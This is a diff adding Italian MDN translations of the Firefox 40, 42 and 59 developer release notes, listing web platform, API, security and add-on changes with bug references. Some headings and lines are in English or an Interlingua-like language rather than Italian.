+ <li>Quando inadatto ad analizzare il {{htmlattrxref("srcset", "image")}}, il metodo {{domxref("HTMLImageElement.currentSrc")}} non ritorna più <code>null</code> ma <code>""</code>, come richiesto dall'ultima specifica ({{bug(1139560)}}).</li>
+ <li>Il <a href="/en-US/docs/Web/API/Push_API">Push API</a> è stato implementato ({{bug(1038811)}}).</li>
+ <li>Nuove estensioni per il <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>:
+  <ul>
+   <li>La proprietà {{domxref("AudioContext.state")}} come anche i metodi {{domxref("AudioContext.suspend()")}}, {{domxref("AudioContext.resume()")}}, e {{domxref("AudioContext.close()")}} sono stati aggiunti ({{bug(1094764)}}).</li>
+   <li>{{domxref("AudioBufferSourceNode")}} ora implementa l'attributo {{domxref("AudioBufferSourceNode.detune")}} <a href="/it/docs/DOM/AudioParam#k-rate">k-rate</a> ({{bug(1153783)}}).</li>
+  </ul>
+ </li>
+ <li>Come per le immagini, Firefox ora restringe {{domxref("Window.requestAnimationFrame()")}} per non-visible {{HTMLElement("iframe")}} ({{bug(1145439)}}).</li>
+ <li>{{domxref("Navigator.taintEnabled")}} non è più disponibile per i Web workers ({{bug(1154878)}}).</li>
+ <li>{{domxref("DataStore")}} ora è disponibile nei Web workers ({{bug(916196)}}).</li>
+ <li>L'interfaccia <code>CSSCharsetRule</code> è stata rimossa e  tali oggetti non sono più disponibili nel CSSOM ({{bug(1148694)}}). Questo corrisponde la spec (recentemente adattata) e il comportamento di Chrome.</li>
+ <li>La proprietà {{domxref("Console.timeStamp")}} è stata aggiunta ({{bug(922221)}}).</li>
+ <li>Lieve miglioramento nel nostro <a href="/en-US/docs/Web/API/ServiceWorker_API">Service Worker API</a>: il metodo {{domxref("ServiceWorkerRegistration.update()", "update()")}} è stato spostato da {{domxref("ServiceWorkerGlobalScope")}} a {{domxref("ServiceWorkerRegistration")}} ({{bug(1131350)}}).</li>
+ <li>{{domxref("IDBTransaction")}} adesso sono non-durable di default ({{bug(1112702)}}). Questo favorisce prestazioni superaffidabili e corrisponde a ciò che gli altri browsers stanno facendo.</li>
+</ul>
+
+<h3 id="MathML">MathML</h3>
+
+<p><em>Nessuna novità.</em></p>
+
+<h3 id="SVG">SVG</h3>
+
+<p><em>Nessuna novità.</em></p>
+
+<h3 id="AudioVideo">Audio/Video</h3>
+
+<p><em>Nessuna novità.</em></p>
+
+<h2 id="Networking">Networking</h2>
+
+<p><em>Nessuna novità.</em></p>
+
+<h2 id="Sicurezza">Sicurezza</h2>
+
+<p><em>Nessuna novità.</em></p>
+
+<h2 id="Novità_per_componenti_aggiuntivi_e_sviluppatori_Mozilla">Novità per componenti aggiuntivi e sviluppatori Mozilla</h2>
+
+<h3 id="XUL">XUL</h3>
+
+<p><em>Nessuna novità.</em></p>
+
+<h3 id="Moduli_di_codice_JavaScript">Moduli di codice JavaScript</h3>
+
+<ul>
+ <li>Dict.jsm è stato rimosso {{bug(1123309)}}. Usate invece {{jsxref("Map")}}.</li>
+</ul>
+
+<h3 id="XPCOM">XPCOM</h3>
+
+<p><em>Nessuna novità.</em></p>
+
+<h3 id="Altro">Altro</h3>
+
+<ul>
+ <li>Places Keywords API sono state deprecate e saranno rimosse presto ({{bug(1140395)}}).</li>
+</ul>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Firefox/Releases/40/Site_Compatibility">Compatibilità siti per Firefox 40</a></li>
+</ul>
+
+<h2 id="Vecchie_versioni">Vecchie versioni</h2>
+
+<p>{{Firefox_for_developers('39')}}</p>
diff --git a/files/it/mozilla/firefox/releases/42/index.html b/files/it/mozilla/firefox/releases/42/index.html
new file mode 100644
index 0000000000..5d02b8ce79
--- /dev/null
+++ b/files/it/mozilla/firefox/releases/42/index.html
@@ -0,0 +1,189 @@
+---
+title: Firefox 42 for developers
+slug: Mozilla/Firefox/Releases/42
+tags:
+  - Firefox
+  - Note di rilascio
+  - Rilasci
+translation_of: Mozilla/Firefox/Releases/42
+---
+<div>{{FirefoxSidebar}}</div>
+
+<div class="column-container zone-callout"><a href="https://www.mozilla.org/firefox/developer/" style="float: right; margin-left: 10px; margin-bottom: 20px; padding: 10px; text-align: center; border-radius: 4px; display: inline-block; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Installa Firefox Developer Edition </a> <span>Firefox 42 was released on November 3, 2015. This article lists key changes that are useful not only for web developers, but also Firefox and Gecko developers as well as add-on developers.</span></div>
+
+<h2 id="Modifiche_per_gli_sviluppatori">Modifiche per gli sviluppatori</h2>
+
+<h3 id="Strumenti_per_gli_sviluppatori">Strumenti per gli sviluppatori</h3>
+
+<p>In evidenza:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Tools/Remote_Debugging/Debugging_Firefox_for_Android_over_Wifi">Debugging Firefox per Android tramite Wifi</a></li>
+ <li><a href="/en-US/docs/Tools/WebIDE/Setting_up_runtimes#Configuring_Simulators">Firefox OS Simulator configuration in WebIDE</a></li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_filters#Saving_filter_presets">CSS filter presets</a></li>
+</ul>
+
+<p><a class="external external-icon" href="https://bugzilla.mozilla.org/buglist.cgi?resolution=FIXED&amp;classification=Client%20Software&amp;chfieldto=2015-08-10&amp;query_format=advanced&amp;chfield=resolution&amp;chfieldfrom=2015-06-29&amp;chfieldvalue=FIXED&amp;bug_status=RESOLVED&amp;bug_status=VERIFIED&amp;component=Developer%20Tools&amp;component=Developer%20Tools%3A%203D%20View&amp;component=Developer%20Tools%3A%20Canvas%20Debugger&amp;component=Developer%20Tools%3A%20Console&amp;component=Developer%20Tools%3A%20Debugger&amp;component=Developer%20Tools%3A%20Framework&amp;component=Developer%20Tools%3A%20Graphic%20Commandline%20and%20Toolbar&amp;component=Developer%20Tools%3A%20Inspector&amp;component=Developer%20Tools%3A%20Memory&amp;component=Developer%20Tools%3A%20Netmonitor&amp;component=Developer%20Tools%3A%20Object%20Inspector&amp;component=Developer%20Tools%3A%20Performance%20Tools%20%28Profiler%2FTimeline%29&amp;component=Developer%20Tools%3A%20Responsive%20Mode&amp;component=Developer%20Tools%3A%20Scratchpad&amp;component=Developer%20Tools%3A%20Source%20Editor&amp;component=Developer%20Tools%3A%20Storage%20Inspector&amp;component=Developer%20Tools%3A%20Style%20Editor&amp;component=Developer%20Tools%3A%20User%20Stories&amp;component=Developer%20Tools%3A%20Web%20Audio%20Editor&amp;component=Developer%20Tools%3A%20WebGL%20Shader%20Editor&amp;component=Developer%20Tools%3A%20WebIDE&amp;product=Firefox&amp;list_id=12478437">All devtools bugs fixed between Firefox 41 and Firefox 42</a>.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<ul>
+ <li>Vertical {{cssxref('writing-mode')}} is now supported with rtl scripts ({{bug(1131451)}}).</li>
+ <li>Non-standard proprieties like {{cssxref('-moz-margin-start')}} are now aliases of their standard counterpart ({{cssxref('margin-inline-start')}}, …). Previously, it was the opposite. This affects the value returned by {{domxref('CSSStyleDeclaration.cssText')}} and iteration of the properties in a style ruleand iteration of the properties in a style rule, that both use the canonical form ({{bug(1118103)}}).</li>
+</ul>
+
+<h3 id="HTML">HTML</h3>
+
+<ul>
+ <li>The {{htmlattrxref("referrer", "input")}} attribute of the {{HTMLElement("input")}} ({{bug(1166910)}}), {{HTMLElement("a")}} and {{HTMLElement("area")}} ({{bug(1174913)}}) has been implemented.</li>
+</ul>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<ul>
+ <li>The {{jsxref("Reflect")}} object has been implemented ({{bug(987514)}}).</li>
+ <li>The implementation of the {{jsxref("Proxy")}} {{jsxref("Global_Objects/Proxy/handler/ownKeys", "handler.ownKeys()")}} trap has been updated to match the final ES2015 specification ({{bug(1049662)}}).</li>
+ <li>Calling {{jsxref("Map")}}, {{jsxref("Set")}}, or {{jsxref("WeakMap")}} without {{jsxref('Operators', 'new')}}, will now throw a {{jsxref("TypeError")}} ({{bug(1083752)}}).</li>
+</ul>
+
+<h3 id="InterfacesAPIsDOM">Interfaces/APIs/DOM</h3>
+
+<h4 id="DOM_HTML_DOM">DOM &amp; HTML DOM</h4>
+
+<ul>
+ <li>{{domxref('Event.offsetX')}} and {{domxref('Event.offsetY')}} have been added ({{bug(69787)}}).</li>
+ <li>The {{domxref("HTMLInputElement")}} interface has been experimentally extended to handle the upload of directories ({{bug(1164310)}}). These four members are now available behind the <code>dom.input.dirpicker</code> preference:
+  <ul>
+   <li>{{domxref("HTMLInputElement.directory")}}</li>
+   <li>{{domxref("HTMLInputElement.isFilesAndDirectoriesSupported")}}</li>
+   <li>{{domxref("HTMLInputElement.getFilesAndDirectories()")}}</li>
+   <li>{{domxref("HTMLInputElement.chooseDirectory()")}}</li>
+  </ul>
+ </li>
+ <li>The {{domxref("Directory")}} interface has been experimentally extended ({{bug(1177688)}}). The two members {{domxref("Directory.path")}} and {{domxref("Directory.getContents")}} are now available.</li>
+ <li>The <code>HTMLMediaElement.mozSrcObject</code> has been renamed in {{domxref('HTMLMediaElement.srcObject')}} ({{bug(1175523)}}).</li>
+</ul>
+
+<h4 id="Service_Workers">Service Workers</h4>
+
+<ul>
+ <li>{{domxref('Request.context')}} has been removed ({{bug(1188062)}}).</li>
+ <li>The <a href="/en-US/docs/Web/API/Push_API">Push API</a> has been activated by default on Firefox for Desktop ({{bug(1153499)}}), but only on the Nightly/Dev Edition/Beta channels. It is being deactivated by default in the Release channel until consumer UX and debugging features have been properly implemented ({{bug(1207875)}}.) You can still activate it by enabling the <span id="summary_alias_container"><span id="short_desc_nonedit_display"><code>dom.push.enabled</code> pref in <a>about:config</a>.</span></span></li>
+ <li>The {{domxref("PushManager.hasPermission()")}} method has been deprecated in the spec, and replaced with the {{domxref("PushManager.permissionState()")}} method. Firefox has updated its implementation to reflect this ({{bug("1183853")}}.)</li>
+ <li>Service-worker-related additions to the <a href="/en-US/docs/Web/API/Notifications_API">Notifications API</a> have been implemented ({{bug(1114554)}}), but are disabled in this release.</li>
+</ul>
+
+<h4 id="Web_Animations_API">Web Animations API</h4>
+
+<p>Our experimental implementation of <a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a> have been extended to support:</p>
+
+<ul>
+ <li>The {{domxref('AnimationPlayer.playbackRate')}} property ({{bug(1127380)}}).</li>
+ <li>The {{domxref('CSSAnimation')}} and {{domxref('CSSTransition')}} interfaces ({{bug(1178186)}}).</li>
+ <li>The {{domxref('Animation.reverse()')}} method ({{bug(1150808)}}).</li>
+ <li>The {{domxref('AnimationPlaybackEvent')}} interface has been added and {{event('cancel')}} and {{event('finish')}} are now fired on {{domxref('Animation')}} ({{bug(1178664)}}).</li>
+</ul>
+
+<h4 id="Web_Components">Web Components</h4>
+
+<p>Our experimental implementation of the <a href="/en-US/docs/Web/Web_Components/Shadow_DOM">Shadow DOM</a> has been modified:</p>
+
+<ul>
+ <li>When trying to invoke {{domxref('Node.cloneNode()')}} on a {{domxref('ShadowRoot')}}, throws a <code>DataCloneError</code> exception ({{bug(1176757)}}).</li>
+ <li>When invoking {{domxref('Document.importNode()')}} with a {{domxref('ShadowRoot')}} as an argument, we now throws a <code>NotSupportedError</code> exception ({{bug(1177914)}}).</li>
+ <li>When invoking {{domxref('Document.adoptNode()')}} with a {{domxref('ShadowRoot')}} as an argument, we now throws a <code>HierarchyRequestError</code> exception ({{bug(1177991)}}).</li>
+</ul>
+
+<h4 id="WebGL">WebGL</h4>
+
+<ul>
+ <li>WebGL2 {{domxref('WebGLTransformFeedback')}} has been implemented ({{bug(1048724)}}).</li>
+ <li>The <code>WEBGL_debug_renderer_info</code> extension has been turned on by default ({{bug(1171228)}}).</li>
+ <li>To obtain a WebGL2 context, {{domxref('HTMLCanvasElement.getContext()')}} now takes <code>webgl2</code> instead of <code>experimental-webgl2</code> previously ({{bug(1187174)}}).</li>
+</ul>
+
+<h4 id="WebRTC">WebRTC</h4>
+
+<ul>
+ <li>The <code>RTCICECandidatePairStats.mozPriority</code> has been renamed to {{domxref('RTCICECandidatePairStats.priority')}} ({{bug(1184426)}}).</li>
+</ul>
+
+<h4 id="New_APIs">New APIs</h4>
+
+<ul>
+ <li>The {{domxref("ImageBitmap")}} interface and the {{domxref("ImageBitmapFactories.createImageBitmap","createImageBitmap()")}} method have been implemented. They are available on regular window scripts and in Web workers and allow efficient posting of images between window and worker contexts ({{bug(1044102)}}).</li>
+</ul>
+
+<h4 id="Miscellaneous">Miscellaneous</h4>
+
+<ul>
+ <li>The {{domxref('IDBCursorWithValue')}} interface is now available in <a href="/en-US/docs/Web/API/Web_Workers_API">Web workers</a> ({{bug(1188115)}}).</li>
+ <li>Error events sent in <a href="/en-US/docs/Web/API/Web_Workers_API">Web workers</a> doesn't bubble anymore ({{bug(1188141)}}).</li>
+ <li><a href="/en-US/docs/Web/API/Media_Stream_Extensions">Media Source Extensions</a> (MSE) has been activated for all Web sites, and no more for a white list of sites ({{bug(1185611)}}).</li>
+ <li>The non-standard and deprecated {{domxref('Window.mozRequestAnimationFrame()')}} has been removed ({{bug(909154)}}). Use the standard {{domxref('Window.requestAnimationFrame()')}} instead.</li>
+</ul>
+
+<h3 id="MathML">MathML</h3>
+
+<p><em>No change.</em></p>
+
+<h3 id="SVG">SVG</h3>
+
+<p><em>No change.</em></p>
+
+<h3 id="AudioVideo">Audio/Video</h3>
+
+<p><em>No change.</em></p>
+
+<h2 id="HTTP">HTTP</h2>
+
+<p><em>No change.</em></p>
+
+<h2 id="Networking">Networking</h2>
+
+<ul>
+ <li>The CSP <code><a href="/Web/Security/CSP/CSP_policy_directives#upgrade-insecure-requests">upgrade-insecure-requests</a></code> directive has been implemented ({{bug(1139297)}}).</li>
+</ul>
+
+<h2 id="Sicurezza">Sicurezza</h2>
+
+<ul>
+ <li>EV certificates with a validity greater than 39 months are now considered and handled as DV certificates ({{bug(1145679)}}).</li>
+</ul>
+
+<h2 id="Cambiamenti_per_gli_add-on_e_Mozilla_developers">Cambiamenti per gli add-on e Mozilla developers</h2>
+
+<h3 id="Interfaces">Interfaces</h3>
+
+<h4 id="nsIContentPolicy">nsIContentPolicy</h4>
+
+<ul>
+ <li>The <code><strong>TYPE_EMBED</strong></code> constant has been added to <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIContentPolicy" title="">nsIContentPolicy</a></code> to allow Gecko internals and add-on code to better differentiate different types of requests. Previously, <code><strong>TYPE_OBJECT</strong></code> was used for these cases ({{bug(1148030)}}).</li>
+ <li>Similarly, the <strong><code>TYPE_SUBDOCUMENT</code></strong> constants has been split into <code><strong>TYPE_FRAME</strong></code> and <strong><code>TYPE_IFRAME</code></strong> ({{bug(1148044)}}).</li>
+</ul>
+
+<h3 id="XUL">XUL</h3>
+
+<p><em>No change.</em></p>
+
+<h3 id="JavaScript_code_modules">JavaScript code modules</h3>
+
+<p><em>No change.</em></p>
+
+<h3 id="XPCOM">XPCOM</h3>
+
+<p><em>No change.</em></p>
+
+<h3 id="Other">Other</h3>
+
+<p><em>No change.</em></p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://www.fxsitecompat.com/en-US/versions/42/">Site Compatibility for Firefox 42</a></li>
+</ul>
+
+<h2 id="Older_versions">Older versions</h2>
+
+<p>{{Firefox_for_developers('41')}}</p>
diff --git a/files/it/mozilla/firefox/releases/59/index.html b/files/it/mozilla/firefox/releases/59/index.html
new file mode 100644
index 0000000000..7d1cec5737
--- /dev/null
+++ b/files/it/mozilla/firefox/releases/59/index.html
@@ -0,0 +1,203 @@
+---
+title: Firefox 59 per sviluppatori
+slug: Mozilla/Firefox/Releases/59
+translation_of: Mozilla/Firefox/Releases/59
+---
+<div>{{FirefoxSidebar}}</div><p class="summary"><span id="result_box" lang="it"><span>Questo articolo fornisce informazioni sulle modifiche in Firefox 59 che interesseranno gli sviluppatori. </span></span> Firefox 59 è l'attuale <a href="https://www.mozilla.org/en-US/firefox/channel/desktop/#beta">versione Beta di Firefox</a>, che  sarà pubblicata il 13 marzo<a href="https://wiki.mozilla.org/RapidRelease/Calendar#Future_branch_dates"> 2018</a>.</p>
+
+<h2 id="Cambios_pro_le_disveloppatores_de_web">Cambios pro le disveloppatores de web</h2>
+
+<h3 id="Utensiles_pro_le_disveloppatores_de_web">Utensiles pro le disveloppatores de web</h3>
+
+<ul>
+ <li>Le scheda de responsa de <a href="/en-US/docs/Tools/Network_Monitor">Network Monitor</a> ora monstra un <a href="/en-US/docs/Tools/Network_Monitor#HTML_preview">vista preliminar del HTML rendite</a> — si le responsa es HTML ({{bug(1353319)}}).</li>
+ <li>Cookie information shown in the Storage Inspector (see <a href="/en-US/docs/Tools/Storage_Inspector#Cookies">Cookies</a>) now includes a <em>sameSite</em> column showing what the same-site status of each cookie is ({{bug(1298370)}}).</li>
+ <li>The <a href="/en-US/docs/Tools/Rulers">Rulers</a> tool now includes a readout showing the current dimensions of the viewport ({{bug(1402633)}}).</li>
+ <li>In <a href="/en-US/docs/Tools/Responsive_Design_Mode">Responsive Design Mode</a>, you can now set the screen dimensions using the cursor keys ({{bug(1421663)}}). See the <a href="/en-US/docs/Tools/Responsive_Design_Mode#Setting_screen_size">Setting screen size</a> section for more details.</li>
+ <li>The <em>Raw headers</em> display in the <a href="/en-US/docs/Tools/Network_Monitor">Network Monitor</a> <em>Headers</em> tab now includes the response's status code ({{bug(1419401)}}).</li>
+</ul>
+
+<h3 id="HTML">HTML</h3>
+
+<p>The {{HTMLElement("textarea")}} element's {{htmlattrxref("autocomplete", "textarea")}} attribute has been implemented. This lets you enable or disable form auto-fill for the element.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<ul>
+ <li>The {{cssxref("overscroll-behavior")}} property and its associated longhand properties — {{cssxref("overscroll-behavior-x")}} and {{cssxref("overscroll-behavior-y")}} — have been implemented ({{bug(951793)}}), and it has been enabled by default on all releases ({{bug(1428879)}}).</li>
+ <li>The behavior of "unusual elements" (elements that aren’t rendered purely by CSS box concepts such as replaced elements) when given a {{cssxref("display")}} value of <code>contents</code> has been updated as per spec ({{bug(1427292)}}). See <a href="https://drafts.csswg.org/css-display/#unbox">Appendix B: Effects of display: contents on Unusual Elements</a> for exactly what the specced behaviors are.</li>
+ <li>{{cssxref("position")}} <code>sticky</code> is now supported on appropriate <a href="/en-US/docs/Learn/HTML/Tables">HTML table</a> parts (e.g. {{htmlelement("th")}} elements) ({{bug(975644)}}).</li>
+ <li>{{cssxref("calc()")}} is now supported in {{cssxref("&lt;color&gt;")}} values — <code>rgb()</code>, <code>rgba()</code>, <code>hsl()</code>, and <code>hsla()</code> ({{bug(984021)}}).</li>
+ <li>In Firefox 59, support for {{cssxref("calc()")}} in <a href="/en-US/docs/Web/CSS/Media_Queries">media query</a> values has been added {{bug(1396057)}}.</li>
+ <li>The {{cssxref("@document")}} at-rule has been limited to use only in user and UA sheets ({{bug(1035091)}}).</li>
+ <li>Implement the {{cssxref("font-optical-sizing")}} property ({{bug(1435692)}}).</li>
+</ul>
+
+<h3 id="SVG">SVG</h3>
+
+<p><em>No changes.</em></p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p><em>No changes.</em></p>
+
+<h3 id="APIs">APIs</h3>
+
+<h4 id="New_APIs">New APIs</h4>
+
+<p>{{domxref("PointerEvent","PointerEvents")}} have been enabled in Firefox Desktop ({{bug(1411467)}}).</p>
+
+<h4 id="DOM">DOM</h4>
+
+<ul>
+ <li>The {{domxref("EventTarget.EventTarget()","EventTarget()")}} constructor has been implemented ({{bug(1379688)}}).</li>
+ <li>The {{domxref("Response.Response()","Response()")}} constructor can now accept a <code>null</code> value for its <code>body</code> parameter, as per spec ({{bug(1303025)}}).</li>
+</ul>
+
+<h4 id="DOM_events">DOM events</h4>
+
+<p>The {{domxref("Event.composedPath()")}} method has been implemented ({{bug(1412775)}}).</p>
+
+<h4 id="Service_workers">Service workers</h4>
+
+<ul>
+ <li>The service worker <a href="/en-US/docs/Web/API/Clients">Clients API</a> can now find and communicate with windows in a separate browser process ({{bug(1293277)}}) .</li>
+ <li>Nested about:blank and about:srcdoc iframes will now inherit their parent's controlling service worker. Fixed in ({{bug(1293277)}}) and ({{bug(1426979)}}).</li>
+ <li>When a service worker provides a {{domxref("Response")}} to {{domxref("FetchEvent.respondWith()")}}, the {{domxref("Response.url")}} value will not be propagated to the intercepted network request as the final resolved URL.  In the past the {{domxref("Request.url","FetchEvent.request.url")}} was used for this instead.  This means, for example, if a service worker intercepts a stylesheet or worker script, then the provided <code>Response.url</code> will be used to resolve any relative {{cssxref("@import")}} or {{domxref("WorkerGlobalScope.importScripts()","importScripts()")}} subresource loads ({{bug(1222008)}}).</li>
+ <li><code>FetchEvent.respondWith()</code> will now trigger a network error if the {{domxref("Request.mode","FetchEvent.request.mode")}} is <code>"same-origin"</code> and the provided {{domxref("Response.type")}} is <code>"cors"</code>. ({{bug(1222008)}})</li>
+</ul>
+
+<h4 id="Media_and_WebRTC">Media and WebRTC</h4>
+
+<ul>
+ <li>The {{domxref("MediaStreamTrack")}} property {{domxref("MediaStreamTrack.muted")}}, along with the events {{event("mute")}} and {{event("unmute")}} and the corresponding event handlers, {{domxref("MediaStreamTrack.onmute", "onmute")}} and {{domxref("MediaStreamTrack.onmute", "onunmute")}}, have been implemented. A track's <code>muted</code> state indicates that the track is not currently able to provide media data.
+
+  <div class="note"><strong>Note:</strong> The <code>muted</code> state of a track isn't useful for what's typically thought of as muting and unmuting a track. Instead, use the {{domxref("MediaStreamTrack.enabled", "enabled")}} property; setting <code>enabled</code> to <code>false</code> causes the track to output only empty frames.</div>
+ </li>
+ <li>The {{domxref("RTCRtpReceiver")}} methods {{domxref("RTCRtpReceiver.getContributingSources", "getContributingSources()")}} and {{domxref("RTCRtpReceiver.getSynchronizationSources", "getSynchronizationSources()")}} have been implemented to provide information about the sources of each RTP stream. However, a specification change occurred before release and we have disabled these by default behind the preference <code>media.peerconnection.rtpsourcesapi.enable</code> ({{bug(1363667)}}, {{bug(1430213)}}, and {{bug(1433236)}}.</li>
+ <li>The {{domxref("RTCRtpTransceiver")}} interface has now been implemented, since the Firefox implementation of WebRTC now supports transceivers, with <code>RTCPeerConnection</code> and other interfaces updated to use them per the latest specification.</li>
+ <li>The {{domxref("RTCPeerConnection.addTransceiver()")}} method has been added. In addition, the behavior of {{domxref("RTCPeerConnection.addTrack", "addTrack()")}} has been updated to create a transceiver as required.</li>
+ <li>Support for <a href="/en-US/docs/Web/API/WebVTT_API">WebVTT</a> regions was implemented in Firefox 58 but disabled by default. They're now available by default ({{bug(1415805)}}).</li>
+ <li>Firefox now supports WebVTT <code>REGION</code> definition blocks whose settings list has one setting per line instead of all of the settings being on the same line of the WebVTT file ({{bug(1415821)}}.</li>
+</ul>
+
+<h4 id="Canvas_and_WebGL">Canvas and WebGL</h4>
+
+<p><em>No changes.</em></p>
+
+<h3 id="CSSOM">CSSOM</h3>
+
+<p>The {{domxref("CSSNamespaceRule")}} interface and its <code>namespaceURL</code> and <code>prefix</code> properties have been implemented ({{bug(1326514)}}).</p>
+
+<h3 id="HTTP">HTTP</h3>
+
+<p><em>No changes.</em></p>
+
+<h3 id="Security">Security</h3>
+
+<ul>
+ <li>Top-level navigation to <code>data://</code> URIs has been blocked {{bug(1401895)}}. See <a href="https://blog.mozilla.org/security/2017/11/27/blocking-top-level-navigations-data-urls-firefox-58/">Blocking Top-Level Navigations to data URLs for Firefox 58</a> for more details.</li>
+ <li>The <code>SAMEORIGIN</code> directive of the {{httpheader("X-Frame-Options")}} header has been changed so that it checks not only the top-level IFrame is in the same origin, but all its ancestors as well ({{bug(725490)}}).</li>
+ <li>Image resources loaded from different origins to the current document are no longer able to trigger HTTP authentication dialogs ({{bug(1423146)}}). See <a href="https://www.fxsitecompat.com/en-CA/docs/2017/http-auth-dialog-can-no-longer-be-triggered-by-cross-origin-images/">HTTP auth dialog can no longer be triggered by cross-origin images</a> for more details.</li>
+ <li>HTTP authentication now uses <code>utf-8</code> encoding for usernames and passwords (rather than <code>ISO-8859-1</code>) for parity with other browsers, and to avoid potential problems as described in {{bug(1419658)}}.</li>
+</ul>
+
+<h3 id="Plugins">Plugins</h3>
+
+<p><em>No changes.</em></p>
+
+<h3 id="Other">Other</h3>
+
+<p><em>No changes.</em></p>
+
+<h2 id="Removals_from_the_web_platform">Removals from the web platform</h2>
+
+<h3 id="HTML_2">HTML</h3>
+
+<p>The non-standard <code>version</code> parameter of the {{htmlelement("script")}} element's {{htmlattrxref("type","script")}} attribute (e.g.  <code>type="application/javascript;version=1.8"</code>) has been removed ({{bug(1428745)}}).</p>
+
+<h3 id="CSS_2">CSS</h3>
+
+<ul>
+ <li>The proprietary <code>mozmm</code> {{cssxref("&lt;length&gt;")}} unit has been removed ({{bug(1416564)}}).</li>
+ <li>The proprietary {{cssxref("-moz-border-top-colors")}}, {{cssxref("-moz-border-right-colors")}}, {{cssxref("-moz-border-bottom-colors")}}, and {{cssxref("-moz-border-left-colors")}} properties have been limited to usage in chrome code only ({{bug(1417200)}}).</li>
+</ul>
+
+<h3 id="JavaScript_2">JavaScript</h3>
+
+<ul>
+ <li>Non-standard <a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch#Conditional_catch_clauses">conditional catch clauses</a> have been removed ({{bug(1228841)}}).</li>
+</ul>
+
+<h3 id="APIs_2">APIs</h3>
+
+<ul>
+ <li>The non-standard method <code>Event.getPreventDefault()</code> has been removed. You should instead use the {{domxref("Event.defaultPrevented")}} property to determine whether or not {{domxref("Event.preventDefault", "preventDefault()")}} was called on the {{domxref("Event")}}.</li>
+ <li>The propretary <code><a href="/en-US/docs/Archive/API/Navigator/mozNotification">Navigator.mozNotification</a></code> property and <code>DesktopNotification</code> interface have been removed, in favor of the standard <a href="/en-US/docs/Web/API/Notifications_API">Notifications API</a> ({{bug(952453)}}).</li>
+ <li>The proprietary <code>window.external.addSearchEngine()</code> method has been removed ({{bug("862147")}}). Also see {{domxref("Window.sidebar")}} for more details.</li>
+ <li>The non-standard Firefox-only {{domxref("HTMLMediaElement")}} property <code>mozAutoplayEnabled</code> has been removed.</li>
+</ul>
+
+<h3 id="SVG_2">SVG</h3>
+
+<p>Support for SMIL's <code>accessKey</code> feature has been removed ({{bug(1423098)}}).</p>
+
+<h3 id="Other_2">Other</h3>
+
+<p>Support for the non-standard <code>pcast://</code> and <code>feed://</code> protocols has been removed from Firefox ({{bug(1420622)}}).</p>
+
+<h2 id="Changes_for_add-on_and_Mozilla_developers">Changes for add-on and Mozilla developers</h2>
+
+<h3 id="WebExtensions">WebExtensions</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/theme">Theme</a> updates:
+
+  <ul>
+   <li>new properties: <code>colors.background_tab_text</code>, <code>colors.toolbar_field_border</code></li>
+   <li>all color properties now support both Chrome-style arrays and CSS color values.</li>
+  </ul>
+ </li>
+ <li>New <a href="/en-US/Add-ons/WebExtensions/API/browserSettings">browser settings</a>:
+  <ul>
+   <li><a href="https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/browserSettings/contextMenuShowEvent"><code>contextMenuShowEvent</code></a></li>
+   <li><a href="https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/browserSettings/openBookmarksInNewTabs"><code>openBookmarksInNewTabs</code></a></li>
+   <li><a href="https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/browserSettings/openSearchResultsInNewTabs"><code>openSearchResultsInNewTabs</code></a></li>
+   <li><a href="https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/browserSettings/proxyConfig"><code>proxyConfig</code></a></li>
+  </ul>
+ </li>
+ <li>New <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs">tabs</a></code> APIs:
+  <ul>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab">tabs.captureTab()</a></code></li>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/hide">tabs.hide()</a></code></li>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/show">tabs.show()</a></code></li>
+  </ul>
+ </li>
+ <li>The <code><a href="/en-US/docs/Archive/Add-ons/Legacy_Firefox_for_Android/API/NativeWindow/contextmenus">contextMenus</a></code> API now supports a <a href="/en-US/Add-ons/WebExtensions/API/menus/ContextType">"bookmark" context</a>.</li>
+ <li>New <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/contentScripts">contentScripts</a></code> API enables runtime registration of content scripts.</li>
+ <li>New <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/pageAction">pageAction</a></code>, <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction">browserAction</a></code>, <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/sidebarAction">SidebarAction</a></code> APIs:
+  <ul>
+   <li><code>browserAction/pageAction/sidebarAction.set*</code> functions now accept <code>null</code> to undo changes.</li>
+   <li><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/browserAction/isEnabled">browserAction.isEnabled()</a></code>, <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/pageAction/isShown">pageAction.isShown()</a></code> , <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/sidebarAction/isOpen">sidebarAction.isOpen()</a></code> functions.</li>
+  </ul>
+ </li>
